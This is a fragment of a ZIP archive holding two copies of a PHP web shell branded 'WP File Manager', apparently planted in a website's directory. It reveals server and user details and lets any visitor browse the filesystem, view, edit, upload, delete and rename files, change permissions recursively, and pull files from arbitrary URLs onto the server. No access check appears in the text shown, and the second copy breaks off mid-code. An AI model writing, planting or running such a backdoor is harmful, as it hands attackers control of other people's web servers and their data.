PK’&{]„N9³§Ë§Ëelsa@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëelsa@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
